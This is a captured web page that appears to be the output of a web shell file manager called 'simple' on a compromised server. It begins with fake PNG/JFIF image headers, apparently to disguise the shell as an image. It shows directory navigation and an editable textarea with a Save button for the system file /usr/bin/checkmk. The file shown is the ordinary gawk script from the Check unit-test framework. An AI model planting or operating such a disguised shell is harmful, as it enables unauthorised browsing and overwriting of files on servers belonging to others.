�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fbin%2F'>bin</a>/</p><hr><h3>✏️ Editing: checkmk</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#! /usr/bin/gawk -f
# checkmk/checkmk.  Generated from checkmk.in by configure.

# checkmk - translate more concise versions of test suite specifications
#           into C programs suitable for use with the Check unit test
#           framework.

# -- LICENSE --
#
# Written by Micah Cowan &lt;micah@cowan.name&gt;
# Copyright (c) 2006, 2010  Micah Cowan
#
# Redistribution of this program in any form, with or without
# modifications, is permitted, provided that the above copyright is
# retained in distributions of this program in source form.
#
# (This is a free, non-copyleft license compatible with pretty much any
# other free or proprietary license, including the GPL. It&#039;s essentially
# a scaled-down version of the &quot;modified&quot; BSD license.)

BEGIN {
    progname=&quot;checkmk&quot;;
    is_stdin=0;
    outfname=&quot;/dev/stdout&quot;;

    # Tokens
    pp_ws            = &quot;[ \\t\\f\\v\\r\\n]+&quot;;
    pp_ws_op         = &quot;[ \\t\\f\\v\\r\\n]*&quot;;
    pp_digit         = &quot;[0-9]+&quot;
    pp_prefix        = pp_ws_op &quot;#&quot; pp_ws_op;
    pp_sep           = &quot;[ \\t\\f\\v\\r\\n]+&quot;;
    pp_name          = &quot;.+&quot;;
    pp_hex_quad      = &quot;[A-F0-9a-f][A-F0-9a-f][A-F0-9a-f][A-F0-9a-f]&quot;
    pp_ucn           = &quot;\\\\(u&quot; pp_hex_quad &quot;|U&quot; pp_hex_quad pp_hex_quad &quot;)&quot;;
    pp_test_name     = &quot;([A-Za-z_]|&quot; pp_ucn &quot;)([A-Za-z0-9_]|&quot; pp_ucn &quot;)*&quot;;
    pp_tag           = &quot;([Ss][Uu][Ii][Tt][Ee]|[Tt][Cc][Aa][Ss][Ee])&quot;;
    pp_test_tag      = &quot;[Tt][Ee][Ss][Tt]&quot;;
    pp_main_pre_tag  = &quot;[Mm][Aa][Ii][Nn]-[Pp][Rr][Ee]&quot;;
    pp_main_post_tag = &quot;[Mm][Aa][Ii][Nn]-[Pp][Oo][Ss][Tt]&quot;;

    # Tests with arguments
    pp_test_exit_tag = &quot;[Tt][Ee][Ss][Tt]-[Ee][Xx][Ii][Tt]&quot; pp_ws_op &quot;[(]&quot; \
        pp_ws_op &quot;[+-]?&quot; pp_ws_op pp_digit pp_ws_op &quot;[)]&quot;;

    pp_test_signal_tag = &quot;[Tt][Ee][Ss][Tt]-[Ss][Ii][Gg][Nn][Aa][Ll]&quot; pp_ws_op \
        &quot;[(]&quot; pp_ws_op &quot;[+-]?&quot; pp_ws_op pp_digit pp_ws_op &quot;[)]&quot;;

    pp_test_loop_tag = &quot;[Tt][Ee][Ss][Tt]-[Ll][Oo][Oo][Pp]&quot; pp_ws_op &quot;[(]&quot; \
        pp_ws_op &quot;[+-]?&quot; pp_ws_op pp_digit pp_ws_op &quot;[,]&quot; pp_ws_op \
        &quot;[+-]?&quot; pp_ws_op pp_digit pp_ws_op &quot;[)]&quot;;

    pp_test_loop_exit_tag = &quot;[Tt][Ee][Ss][Tt]-[Ll][Oo][Oo][Pp]-[Ee][Xx][Ii][Tt]&quot; \
        pp_ws_op &quot;[(]&quot; pp_ws_op &quot;[+-]?&quot; pp_ws_op pp_digit pp_ws_op \
        &quot;[,]&quot; pp_ws_op &quot;[+-]?&quot; pp_ws_op pp_digit pp_ws_op &quot;[,]&quot; \
        pp_ws_op &quot;[+-]?&quot; pp_ws_op pp_digit pp_ws_op &quot;[)]&quot;;

    pp_test_loop_signal_tag = &quot;[Tt][Ee][Ss][Tt]-[Ll][Oo][Oo][Pp]-[Ss][Ii][Gg]&quot; \
        &quot;[Nn][Aa][Ll]&quot; pp_ws_op &quot;[(]&quot; pp_ws_op &quot;[+-]?&quot; pp_ws_op pp_digit \
        pp_ws_op &quot;[,]&quot; pp_ws_op &quot;[+-]?&quot; pp_ws_op pp_digit pp_ws_op \
        &quot;[,]&quot; pp_ws_op &quot;[+-]?&quot; pp_ws_op pp_digit pp_ws_op &quot;[)]&quot;;

    pp_suite_or_tcase_line = &quot;^&quot; pp_prefix pp_tag pp_ws pp_name &quot;$&quot;;
    pp_test_line_prefix = &quot;^&quot; pp_prefix pp_test_tag pp_ws;
    pp_test_exit_line_prefix = &quot;^&quot; pp_prefix pp_test_exit_tag pp_ws;
    pp_test_signal_line_prefix = &quot;^&quot; pp_prefix pp_test_signal_tag pp_ws;
    pp_test_loop_line_prefix = &quot;^&quot; pp_prefix pp_test_loop_tag pp_ws;
    pp_test_loop_exit_line_prefix = &quot;^&quot; pp_prefix pp_test_loop_exit_tag pp_ws;
    pp_test_loop_signal_line_prefix = &quot;^&quot; pp_prefix pp_test_loop_signal_tag pp_ws;
    pp_test_line = pp_test_line_prefix pp_name pp_ws_op &quot;$&quot;;
    pp_test_exit_line = pp_test_exit_line_prefix pp_name pp_ws_op &quot;$&quot;;
    pp_test_signal_line = pp_test_signal_line_prefix pp_name pp_ws_op &quot;$&quot;;
    pp_test_loop_line = pp_test_loop_line_prefix pp_name pp_ws_op &quot;$&quot;;
    pp_test_loop_exit_line = pp_test_loop_exit_line_prefix pp_name pp_ws_op &quot;$&quot;;
    pp_test_loop_signal_line = pp_test_loop_signal_line_prefix pp_name pp_ws_op &quot;$&quot;;
    pp_main_pre_line = &quot;^&quot; pp_prefix pp_main_pre_tag pp_ws_op &quot;$&quot;;
    pp_main_post_line = &quot;^&quot; pp_prefix pp_main_post_tag pp_ws_op &quot;$&quot;;

    # Global vars
    in_test = needs_line_decl = 0;
    cur_suite = cur_tcase = &quot;Core&quot;;
    cur_test = &quot;&quot;;
    exit_okay = start = 1;
    num_cur_tcases = num_cur_tests = 0;
    test_type = num_tests = 0;
    arg1 = 0;
    arg2 = 1;
    arg3 = 2;
    test_name = 0;
    test_type_flag = 1;
}

# Run on the first line of the input file.
start {
    print_boilerplate();
    start = 0;
}

# (Executed every line:)
{
    print_line = 1;
}

$0 ~ pp_suite_or_tcase_line {
    if (in_main())
        in_main_error();

    # Skip to the start of the tag (&quot;suite&quot; or &quot;tcase&quot;).
    match($0, pp_prefix);
    rol = substr($0, RLENGTH+1);

    # Save away the tag.
    match(rol, &quot;^&quot; pp_tag);
    tag = substr(rol, 1, RLENGTH);

    # Advance past the ws following tag.
    rol = substr(rol, RLENGTH+1);
    match(rol, pp_ws);
    rol = substr(rol, RLENGTH+1);

    # The suite or tcase name is the rest of the line, minus any
    # trailing ws.
    if (match(rol, pp_ws &quot;$&quot;)) {
        name = substr(rol, 1, RSTART-1);
    } else {
        name = rol;
    }

    if (tolower(tag) == &quot;suite&quot;) {
        # Does this suite already exist?
        if ((name, 0) in suite_tcase_map) {
            error_with_line(&quot;Suite \&quot;&quot; name &quot;\&quot; already exists.&quot;);
        }
        cur_suite = name;
        num_cur_tcases = 0;
    }
    else if ((name, 0, 0) in tcase_test_map) {
        error_with_line(&quot;Test Case \&quot;&quot; name &quot;\&quot; already exists.&quot;);
    }
    cur_tcase = name;
    num_cur_tests = 0;

    finish_test();
    print_line = 0;
    if (!clean_mode)
        needs_line_decl = 1;
}

$0 ~ pp_test_line {

    # Pre checks
    test_pre();

    # Get the test name
    match($0, pp_test_line_prefix)
    cur_test = substr($0, RLENGTH+1);

    # Remove trailing ws.
    sub(pp_ws_op &quot;$&quot;, &quot;&quot;, cur_test);

    # Check for duplicate tests / cases and valid names
    duplicate_check();

    # Boilerplate printing code
    test_post();

    # Set type before calling register
    test_type = 0;
    register_test();

    print_line = 0;
    in_test = 1;
}

$0 ~ pp_test_loop_line {

    test_pre();

    match($0, pp_test_loop_line_prefix)
    cur_test = substr($0, RLENGTH+1);
    sub(pp_ws_op &quot;$&quot;, &quot;&quot;, cur_test);

    duplicate_check();

    # Split the line into an array to extract the arguments
    split($0, arr, pp_ws_op &quot;[(),]&quot; pp_ws_op);

    # Eliminate possible whitespace between sign and numbers
    gsub(pp_ws_op, &quot;&quot;, arr[2]);
    gsub(pp_ws_op, &quot;&quot;, arr[3]);

    test_post();

    test_type = 1;
    register_test();

    print_line = 0;
    in_test = 1;
}

$0 ~ pp_test_exit_line {

    test_pre();

    match($0, pp_test_exit_line_prefix)
    cur_test = substr($0, RLENGTH+1);
    sub(pp_ws_op &quot;$&quot;, &quot;&quot;, cur_test);

    duplicate_check();

    split($0, arr, pp_ws_op &quot;[(),]&quot; pp_ws_op);
    gsub(pp_ws_op, &quot;&quot;, arr[2]);

    test_post();

    test_type = 2;
    register_test();

    print_line = 0;
    in_test = 1;
}

$0 ~ pp_test_signal_line {

    test_pre();

    match($0, pp_test_signal_line_prefix)
    cur_test = substr($0, RLENGTH+1);
    sub(pp_ws_op &quot;$&quot;, &quot;&quot;, cur_test);

    duplicate_check();

    split($0, arr, pp_ws_op &quot;[(),]&quot; pp_ws_op);
    gsub(pp_ws_op, &quot;&quot;, arr[2]);

    test_post();

    test_type = 3;
    register_test();

    print_line = 0;
    in_test = 1;
}

$0 ~ pp_test_loop_exit_line {

    test_pre();

    match($0, pp_test_loop_exit_line_prefix)
    cur_test = substr($0, RLENGTH+1);
    sub(pp_ws_op &quot;$&quot;, &quot;&quot;, cur_test);

    duplicate_check();

    split($0, arr, pp_ws_op &quot;[(),]&quot; pp_ws_op);
    gsub(pp_ws_op, &quot;&quot;, arr[2]);
    gsub(pp_ws_op, &quot;&quot;, arr[3]);
    gsub(pp_ws_op, &quot;&quot;, arr[4]);

    test_post();

    test_type = 4;
    register_test();

    print_line = 0;
    in_test = 1;
}

$0 ~ pp_test_loop_signal_line {

    test_pre();

    match($0, pp_test_loop_signal_line_prefix)
    cur_test = substr($0, RLENGTH+1);
    sub(pp_ws_op &quot;$&quot;, &quot;&quot;, cur_test);

    duplicate_check();

    split($0, arr, pp_ws_op &quot;[(),]&quot; pp_ws_op);
    gsub(pp_ws_op, &quot;&quot;, arr[2]);
    gsub(pp_ws_op, &quot;&quot;, arr[3]);
    gsub(pp_ws_op, &quot;&quot;, arr[4]);

    test_post();

    test_type = 5;
    register_test();

    print_line = 0;
    in_test = 1;
}

$0 ~ pp_main_pre_line {
    main_pre();

    print &quot;&quot;;
    print &quot;    /* User-specified pre-run code */&quot;;

    if (!clean_mode)
        needs_line_decl = 1;
    print_line = 0;
}

$0 ~ pp_main_post_line {
    main_post();

    print &quot;&quot;;
    print &quot;    /* User-specified post-run code */&quot;;

    if (!clean_mode)
        needs_line_decl = 1;
    print_line = 0;
}

print_line {
    if (/[^ \t\f\v\r\n]/ &amp;&amp; needs_line_decl &amp;&amp; !clean_mode) {
        print &quot;#line &quot; FNR;
        needs_line_decl = 0;
    }
    print;
}

END {
    if (!exit_okay) {
        # We&#039;re exiting due to an error. Don&#039;t do anything else.
    }
    else if (num_tests) {
        if (!main_post_done) {
            main_post();
            print &quot;&quot;;
            print &quot;    return nf == 0 ? 0 : 1;&quot;;
        }
        print &quot;}&quot;;
    }
    else {
        error(&quot;Expected at least one #test line.&quot;);
    }
}

### Functions ###

function test_pre()
{
    if (in_main())
        in_main_error();

    if (in_test) {
        finish_test();
        print &quot;&quot;;
    }
    ++num_tests;
}

function duplicate_check()
{
    # Confirm that the test name is a valid C identifier.
    if (!match(cur_test, &quot;^&quot; pp_test_name &quot;$&quot;)) {
        error_with_line(&quot;Malformed test name \&quot;&quot; cur_test \
                        &quot;\&quot; (must be a C identifier).&quot;);
    }

    # Verify that it has not already been used.
    if (cur_test in test_registry) {
        error_with_line(&quot;Test \&quot;&quot; cur_test &quot;\&quot; already exists.&quot;);
    }

    # Verify that any implied test case is not a repeat.
    if (num_cur_tests == 0 &amp;&amp; (cur_tcase, 0, 0) in tcase_test_map) {
        error_with_line(&quot;Test Case \&quot;&quot; name &quot;\&quot; already exists.&quot;);
    }
}

function test_post()
{
    print &quot;START_TEST(&quot; cur_test &quot;)&quot;;
    print &quot;{&quot;;
    if (!clean_mode)
        print &quot;#line &quot; FNR+1;

    needs_line_decl = 0;
}

function main_post()
{
    if (main_post_done)
        error_with_line(&quot;main-post specified multiple times.&quot;);
    if (!main_pre_done)
        main_pre();
    main_post_done = 1;

    print &quot;&quot;;

    print_runner_bindings();

    print &quot;&quot;;
    print &quot;    srunner_run_all(sr, CK_ENV);&quot;;
    print &quot;    nf = srunner_ntests_failed(sr);&quot;;
    print &quot;    srunner_free(sr);&quot;;
}

function in_main()
{
    return main_pre_done || main_post_done;
}

function in_main_error()
{
    error_with_line(&quot;Cannot specify tests after main-pre or main-post.&quot;);
}

function main_pre()
{
    if (main_post_done)
        error_with_line(&quot;main-pre specified after main-post.&quot;);
    if (main_pre_done)
        error_with_line(&quot;main-pre specified multiple times.&quot;);
    main_pre_done = 1;
    finish_test();
    print &quot;&quot;;
    print &quot;int main(void)&quot;;
    print &quot;{&quot;;

    print_main_declarations();
}

function suite_var_name(num)
{
    return &quot;s&quot; num+1;
}

function tcase_var_name(snum, tcnum)
{
    return &quot;tc&quot; snum+1 &quot;_&quot; tcnum+1;
}

function print_main_declarations()
{
    for (i=0; i != num_suites; ++i) {
        s = suite_names[i];
        svar = suite_var_name(i);
        print &quot;    Suite *&quot; svar &quot; = suite_create(&quot; string_encode(s) &quot;);&quot;;
        for (j=0; j != suite_num_tcases[s]; ++j) {
            tc = suite_tcase_map[s, j];
            tcvar = tcase_var_name(i, j);
            print &quot;    TCase *&quot; tcvar &quot; = tcase_create(&quot; \
                    string_encode(tc) &quot;);&quot;;
        }
    }
    print &quot;    SRunner *sr = srunner_create(s1);&quot;;
    print &quot;    int nf;&quot;;
}

function string_encode(raw)
{
    # The next line might look funny, but remember that the first
    # argument will go through both string interpolation /and/ regex
    # interpolation, so the backslashes must be double-escaped. The
    # substitution string is supposed to result in an actual
    # double-backslash.
    gsub(&quot;\\\\&quot;, &quot;\\\\&quot;, raw);
    gsub(&quot;\&quot;&quot;, &quot;\\\&quot;&quot;, raw);
    return &quot;\&quot;&quot; raw &quot;\&quot;&quot;;
}

function print_runner_bindings()
{
    for (i=0; i != num_suites; ++i) {
        s = suite_names[i];
        svar = suite_var_name(i);
        for (j=0; j != suite_num_tcases[s]; ++j) {
            tc = suite_tcase_map[s, j];
            tcvar = tcase_var_name(i, j);
            print &quot;    suite_add_tcase(&quot; svar &quot;, &quot; tcvar &quot;);&quot;;
            for (k=0; k != tcase_num_tests[tc]; ++k) {
                t = tcase_test_map[tc, k, test_name];
                test_type = tcase_test_map[tc, k, test_type_flag];
                if (test_type == 0) {
                    print &quot;    tcase_add_test(&quot; tcvar &quot;, &quot; t &quot;);&quot;;
                }
                else if (test_type == 1) {
                    print &quot;    tcase_add_loop_test(&quot; tcvar &quot;, &quot; t &quot;, &quot; \
                        test_parameters[t, arg1] &quot;, &quot; test_parameters[t, arg2] \
                        &quot;);&quot;;
                }
                else if (test_type == 2) {
                    print &quot;    tcase_add_exit_test(&quot; tcvar &quot;, &quot; t &quot;, &quot; \
                        test_parameters[t, arg1] &quot;);&quot;;
                }
                else if (test_type == 3) {
                    print &quot;    tcase_add_test_raise_signal(&quot; tcvar &quot;, &quot; t &quot;, &quot; \
                        test_parameters[t, arg1] &quot;);&quot;;
                }
                else if (test_type == 4) {
                    print &quot;    tcase_add_loop_exit_test(&quot; tcvar &quot;, &quot; t &quot;, &quot; \
                        test_parameters[t, arg1] &quot;, &quot; test_parameters[t, arg2] \
                        &quot;, &quot; test_parameters[t, arg3] &quot;);&quot;;
                }
                else if (test_type == 5) {
                    print &quot;    tcase_add_loop_test_raise_signal(&quot; tcvar &quot;, &quot; t \
                        &quot;, &quot; test_parameters[t, arg1] &quot;, &quot; test_parameters[t, arg2] \
                        &quot;, &quot; test_parameters[t, arg3] &quot;);&quot;;
                }
            }
        }
    }
    if (num_suites &gt; 1) {
        print &quot;&quot;;
        for (i=1; i != num_suites; ++i) {
            svar = suite_var_name(i);
            print &quot;    srunner_add_suite(sr, &quot; svar &quot;);&quot;;
        }
    }
}

function register_test()
{
    if (num_cur_tcases == 0) {
        suite_names[num_suites++] = cur_suite;
    }
    if (num_cur_tests == 0) {
        suite_tcase_map[cur_suite, num_cur_tcases++] = cur_tcase;
        suite_num_tcases[cur_suite] = num_cur_tcases;
    }
    tcase_test_map[cur_tcase, num_cur_tests, test_name] = cur_test;
    tcase_test_map[cur_tcase, num_cur_tests++, test_type_flag] = test_type;
    tcase_num_tests[cur_tcase] = num_cur_tests;
    test_registry[cur_test] = 1;

    # Store arguments to array
    test_parameters[cur_test, arg1] = arr[2];
    test_parameters[cur_test, arg2] = arr[3];
    test_parameters[cur_test, arg3] = arr[4];
}

function finish_test()
{
    if (in_test) {
        in_test = 0;
        print &quot;}&quot;;
        print &quot;END_TEST&quot;;
    }
}

function print_boilerplate()
{
    print &quot;/*&quot;;
    print &quot; * DO NOT EDIT THIS FILE. Generated by &quot; progname &quot;.&quot;;
    if (!FILENAME || FILENAME == &quot;-&quot;) {
        clean_mode=1;
        is_stdin=1;
    }
    if (is_stdin)
        srcfile = &quot;(standard input)&quot;;
    else
        srcfile = &quot;\&quot;&quot; FILENAME &quot;\&quot;&quot;;
    print &quot; * Edit the original source file &quot; srcfile &quot; instead.&quot;;
    print &quot; */&quot;;
    print &quot;&quot;;
    print &quot;#include &lt;check.h&gt;&quot;;
    print &quot;&quot;;
    if (!clean_mode)
        print &quot;#line 1 &quot; string_encode(FILENAME)
}

function error_with_line(err)
{
    error((is_stdin ? &quot;(standard input)&quot; : FILENAME) &quot; line &quot; FNR &quot;: &quot; err);
}

function error(err)
{
    print progname &quot;: &quot; err &gt; &quot;/dev/stderr&quot;;
    exit_okay = 0;
    exit 1;
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fbin'>🔙 Back</a></p>